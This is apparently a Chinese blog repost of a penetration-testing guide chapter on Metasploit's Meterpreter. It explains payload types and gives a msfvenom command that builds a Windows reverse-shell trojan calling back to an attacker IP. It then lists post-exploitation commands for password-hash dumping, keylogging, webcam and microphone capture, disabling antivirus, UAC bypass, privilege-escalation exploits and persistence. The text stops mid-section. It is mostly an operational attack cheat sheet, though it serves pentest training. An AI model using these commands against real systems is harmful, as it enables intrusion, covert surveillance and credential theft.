From:https://blog.csdn.net/weixin_45605352/article/details/115824811
<<Web 安全攻防(渗透测试实战指南)>>
1、初识 Meterpreter
1.1.什么是 Meterpreter
Meterpreter 是 Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell 的链接。Meterpreter shell 作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开 shell、得到用户密码、上传下载远程主机的文件、运行 cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外 Meterpreter 能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此 HIDS [基于主机的入侵检测系统] 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
Meterpreter 还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload。这种工具是基于 "内存DLL注入" 理念实现的,它能够通过创建一个新进程并调用注入的 DLL 来让目标系统运行注入的 DLL 文件。其中,攻击者与目标设备中Meterpreter 的通信是通过 Stager 套接字实现的 meterpreter 作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。
需要说明的 meterpreter 在漏洞利用成功后会发送第二阶段的代码和 meterpreter 服务器 dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行 help之 后发现缺少命令。 连上 vpn 又在内网中使用 psexec 和 bind_tcp 的时候经常会出现这种情况
1.2.Meterpreter技术优势
Metasploit 提供了各个主流平台的 Meterpreter 版本,包括 Windows、Linux,同时支持 x86、x64 平台,另外,Meterpreter 还提供了基于 PHP 和 Java 语言的实现。Meterpreter 的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter 还支持 Ruby 脚本形式的扩展。所以 Ruby 语言还很有必要。
2、Meterpreter 中常用反弹 shell 类型
2.1 reverse_tcp:
基于 TCP 的反向链接反弹 shell,使用起来很稳定。
生成 window 木马命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12581 -f exe -o hacker.exe
2.2 reverse_http:
基于 http 方式的反向连接,在网速慢的情况下不稳定
payload:/windows/meterpreter/reverse_http
2.3 reverse_https
基于 https 方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成 443 试试。
payload:/windows/meterpreter/reverse_https
2.4 bind_tcp
这是一个基于TCP的正向连接 shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置 LHOST。
payload:/windows/meterpreter/bind_tcp
这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。
3、相关 Payload
Payload 中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Metasploit中的Payload模块主要有以下三种类型:
- Single :Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到
- Stager :这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。
- Stage :是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
在 Metasploit 中,我们可以通过 Payload 的名称和使用格式来推断它的类型:
Single Payload 的格式为:<target>/ <single>
Stager/Stage Payload 的格式为:<target>/ <stage> / <stager>
当在 Metasploit 中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表
4、Meterpreter 的常用命令
meterpreter 控制技巧总结
meterpreter 收集信息
收集 windows 主机信息
方法一:
shell
systeminfo方法二:
sysinfo收集本地(域)用户信息
shell
net user
net user /domain收集当前用户信息
shell
whoami /all收集主机所运行的服务
run service_manager -l查询主机所在地理位置
run post/multi/gather/wlan_geolocate查询arp信息
arp枚举用户
run post/windows/gather/enum_computers读取目标主机的WIFI密码
run post/windows/wlan/wlan_profile监视
run vnc VNC 连接,实现屏幕实时监控
run sound_recorder 声音记录
run webcam 开启摄像头
收集 linux 主机信息
提升权限常用模块
Windows 提权,绕过 UAC 进行提权,使用以下模块
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs
提高程序运行级别(runas)使用以下模块:exploit/windows/local/ask,该模块实际是使用更高权限运行程序,没有绕过UAC靶机会有响应,一般不使用。
利用 windows 提权漏洞进行提权
使用 ms13_053、ms14_058、ms16_016、ms16_032 等提权漏洞
对应漏洞补丁编号为
漏洞编号 | CVE编号 | 补丁编号 |
---|---|---|
ms13_053 | CVE-2013-3129 | KB2850851 |
ms14_058 | CVE-2014-4148 | KB3000061 |
ms16_016 | CVE-2016-0051 | KB3019215 |
ms16_032 | CVE-2016-0099 | KB3135174 |
漏洞利用对应模块(PS.msf版本为metasploit v4.17.24-dev)
漏洞编号 | msf对应模块 |
ms13_053 | exploit/windows/local/ms13_053_schlamperei |
ms14_058 | exploit/windows/local/ms14_058_track_popup_menu |
ms16_016 | exploit/windows/local/ms16_016_webdav |
ms16_032 | exploit/windows/local/ms16_032_secondary_logon_handle_privesc |
以上是常用的提权模块,如果以上尝试均失败,请查看漏洞影响的系统版本,以及对应主机中是否安装了月度更新。
使用 meterpreter 命令提权:getsystem
meterpreter 控制逻辑总结
后渗透攻击 ( 命令、模块 )
arp
background
clearev
download、upload
execute 执行命令,可执行脚本或程
getprivs 查看当前用户具备的权限
getuid 查看 meterpreter 所在的用户组
getsystem 提权为管理员
sysinfo 查看计算机系统和名称等详细信息
idletime 查看目标系统运行了多长时间
keyscan_start 开启键盘记录
keyscan_dump 键盘记录下载
keyscan_stop 停止键盘记录
load 加载一些带有其他功能(后门)的软件
ps 查看目标系统的所有进程。如果没有root权限或者administrator权限,可以先查看进程,随后根据进程分析目标系统运行了什么软件。可以查找哪些软件有命令执行漏洞用来提权。甚至你还可以查看到目标系统用什么数据库之类的等等。
screenshot 截取目标系统屏幕
search 搜索目标系统的文件
shell 在目标系统打开一个命令行窗口,相当于cmd
web_list 查看目标机器上是否有网络摄像头,并且列举出来
webcam_snap 连接目标系统的摄像头
run get_local_subnets 查询主机路由
run arp_scanner -r x.x.x.x/24 扫描内网存活主机
run domain_list_gen 查询域用户
net use 使用 ipc 通道访问域内用户
hashdump 导出全域 hash ( 获取目标系统用户密码 hash ),需要有系统权限
db_nmap 内网主机端口扫描:msf 中使用的 db_nmap 实际上实际上使用 nmap 进行扫描生成 xml 格式文件,再导入,因此 db_nmap实际上就是nmap。
模块
run hashdump 获取目标系统哈希值,包括密码提示,需要有”system“权限
1、hashdump 获取目标系统哈希值
run post/windows/gather/hashdump
把获取到的哈希值在彩虹表中进行破解,
访问md5在线解密破解,md5解密加密:https://cmd5.com/
2、migrate
run post/windows/manage/migrate
可以将meterpreter当前的进程移动到一个新的进程。
主要用来防软杀,或者进程不稳定的时候使用这个模块。
3、run killav 关闭对方杀软
run /post/windows/manage/killav
4、run post/windows/gather/enum_computers
枚举 Windows 域内所有用户,不包含目标主机
5、run persistence
写入硬盘,下次目标主机启动时,木马将会自启动
(不一定成功,建议重新上传后门)
6、run post/multi/gather/wlan_geolocate
基于WLAN进行地理位置确认。
8、run service_manager
目标主机系统服务管理
9、run post/windows/wlan/wlan_profile
获取目标主机WiFi密码
10、run vnc
屏幕实时监控,配和 录制声音、开启摄像头 效果会更好
run sound_recoder(录制声音)
run webcam(开启摄像头)
4.1 全部 基本 命令:
meterpreter > ?
核心 命令
=============
? 帮助
background 当前 session 放到 后端
bg background 的 别名
bgkill 结束一个 后端 meterpreter script
bglist 列出正在运行的 后端 scripts
bgrun 执行一个 meterpreter script,同时作为后端线程
channel 显示信息或控制活动 channel ( 通道 )
close 关闭一个 channel
detach 分离 meterpreter session (用于 http/https)
disable_unicode_encoding 禁用unicode字符串编码
enable_unicode_encoding 启用unicode字符串编码
exit 终止 meterpreter session
get_timeouts 获取当前会话超时时间
guid 获取 GUID
help 帮助
info Displays information about a Post module
irb 在当前会话中打开一个 Ruby shell
load 载入一个或者多个 meterpreter 扩展
machine_id 获取计算机的MSF ID
migrate 将服务迁移到其他进程 ( 注入到其他进程 )
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read 从 channel 读数据
resource 运行存储在文件中的命令
run 执行 meterpreter script 或者 Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 睡眠多少秒后再次连接
ssl_verify 修改SSL证书验证设置
transport Manage the transport mechanisms
use load 的别名,已经弃用。
uuid 获取 uuid
write 向 channel 写数据
Stdapi: 文件 系统 命令
============================
Command Description
------- -----------
cat
cd
checksum 检索文件的校验和
cp
del
dir
download 下载文件或者目录
edit 编辑文件
getwd 打印工作目录
getlwd 打印本地工作目录
lcat
lcd
lls
lpwd
ls
mkdir
mv
pwd
rm
rmdir
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或者目录
Stdapi: 网络 命令
================&#